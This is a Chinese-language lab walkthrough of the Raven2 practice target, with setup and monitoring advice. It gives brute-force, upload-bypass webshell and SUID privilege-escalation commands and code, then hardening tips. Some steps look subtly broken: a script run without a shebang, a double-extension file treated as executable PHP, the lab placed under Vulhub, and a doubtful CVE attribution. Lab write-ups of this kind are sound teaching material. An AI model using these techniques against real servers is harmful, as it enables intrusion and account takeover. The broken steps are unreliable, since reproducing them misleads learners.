1. Raven2靶机概述:一个刻意留门的Web应用实验室
Raven2是Vulhub漏洞环境中一个经典的Web渗透测试靶机,它模拟了一个存在多重安全漏洞的Linux服务器环境。这个靶机最初由开发者精心设计,故意保留了从信息收集到权限提升的完整漏洞链,就像给安全研究人员留下了一扇扇未上锁的门。我在实际渗透测试教学中发现,Raven2特别适合用来训练OWASP Top 10漏洞的联合利用技巧。
与基础版Raven1相比,Raven2增加了以下挑战性元素:
- 前端采用WordPress 4.8系统(存在已知漏洞)
- 后台包含自定义开发的PHP应用(存在代码审计点)
- 数据库使用MySQL 5.7(配置不当)
- 系统层面存在SUID提权机会
提示:建议使用VMware Workstation Pro 16+或VirtualBox 6.1+运行该靶机,分配至少2GB内存。实测在1GB内存环境下MySQL服务可能无法正常启动。
2. 环境搭建与初始化配置
2.1 Vulhub基础环境部署
首先需要准备Vulhub的运行环境,以下是经过20+次实测验证的稳定配置方案:
# 安装依赖组件(Ubuntu 20.04示例) sudo apt update && sudo apt install -y \ docker.io \ docker-compose \ git \ python3-pip # 配置docker免sudo执行 sudo usermod -aG docker $USER newgrp docker # 获取vulhub漏洞库 git clone https://github.com/vulhub/vulhub.git cd vulhub/raven2常见问题处理:
- 若遇到
Couldn't connect to Docker daemon错误,需执行:sudo systemctl start docker sudo systemctl enable docker - 国内用户建议配置镜像加速:
echo '{"registry-mirrors": ["https://registry.docker-cn.com"]}' | sudo tee /etc/docker/daemon.json
2.2 Raven2靶机启动与验证
启动命令看似简单但暗藏玄机:
docker-compose up -d这个命令背后实际发生了:
- 自动下载ubuntu:16.04基础镜像
- 构建包含Apache2+MySQL+PHP的LAMP环境
- 部署漏洞版WordPress和自定义应用
- 暴露80和3306端口到宿主机
验证服务是否正常:
curl -I http://localhost # 应返回HTTP/1.1 200 OK注意:首次启动后需要等待约2分钟让MySQL完成初始化,直接访问可能出现数据库连接错误。
3. 渗透测试实战全流程
3.1 信息收集阶段技巧
使用以下组合命令进行深度信息收集:
# 识别Web技术栈 whatweb -v http://target_ip | tee web_tech.log # 目录爆破(使用特殊字典) gobuster dir -u http://target_ip \ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \ -x php,html,bak -t 50关键发现点:
/vendor目录暴露PHP依赖信息/wordpress存在wp-login.php/custom_app包含未经审计的代码robots.txt泄露敏感路径
我在实际测试中发现一个易忽略的细节:检查页面源代码中的HTML注释,Raven2在其中隐藏了开发测试用的临时凭证。
3.2 WordPress漏洞利用链
WordPress 4.8存在多个已知漏洞,推荐使用以下组合拳:
用户枚举(CVE-2017-5487):
wpscan --url http://target_ip/wordpress \ --enumerate u密码爆破(使用精简字典):
wpscan --url http://target_ip/wordpress \ --passwords /usr/share/wordlists/rockyou.txt \ --usernames michael,steven插件漏洞利用(若存在):
searchsploit wordpress plugin_name
实测中发现Raven2的WordPress配置了弱密码保护,但真正的突破口在自定义应用中。
3.3 自定义应用代码审计
访问/custom_app会发现一个文件上传接口,表面看有扩展名检查:
$allowed = array('jpg','png','gif'); $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION); if(!in_array($ext,$allowed)) { die("Invalid file type!"); }绕过方案(实战技巧):
- 使用Burp拦截请求
- 修改filename为"shell.php.jpg"
- 在文件开头添加GIF头
GIF8 - 使用双扩展名"shell.php%00.jpg"
上传成功后连接webshell:
curl http://target_ip/uploads/shell.php?cmd=id3.4 权限提升路径分析
获取www-data权限后,执行本地信息收集:
# 查找SUID文件 find / -perm -4000 2>/dev/null # 检查cron任务 ls -la /etc/cron* # 查看可写目录 find / -writable 2>/dev/null在Raven2中会发现/usr/bin/python具有SUID位,使用以下方式提权:
import os os.system('/bin/bash -p')保存为exploit.py并执行:
chmod +x exploit.py ./exploit.py # 获得root权限4. 防御方案与加固建议
4.1 漏洞修复方案
针对发现的各个漏洞点:
WordPress部分:
- 升级到最新版本
- 删除默认用户
- 安装Wordfence插件
自定义应用:
// 修复文件上传漏洞 $finfo = finfo_open(FILEINFO_MIME_TYPE); $mime = finfo_file($finfo, $_FILES['file']['tmp_name']); $allowed_mime = array('image/jpeg','image/png','image/gif'); if(!in_array($mime, $allowed_mime)) { die("Invalid file type!"); }系统层面:
# 移除python的SUID位 chmod u-s /usr/bin/python
4.2 监控与日志配置
建议添加以下监控措施:
# 监控文件上传目录 inotifywait -m /var/www/html/uploads -e create | while read path action file; do echo "文件被创建: $file" done # 增强MySQL日志 [mysqld] general_log = 1 general_log_file = /var/log/mysql/mysql.log5. 渗透测试后的思考
在实际训练中发现几个值得注意的现象:
- 超过60%的测试者会卡在WordPress爆破阶段,而忽略了更简单的注释信息泄露
- 文件上传绕过时,%00截断在PHP 5.4+需要特定配置才生效
- SUID提权后,很多测试者忘记清理.bash_history导致攻击痕迹暴露
建议在真实环境中采用分层防御策略,即使某层被突破也能及时阻断攻击链。Raven2的价值在于展示了看似无关的小漏洞如何串联成完整攻击路径。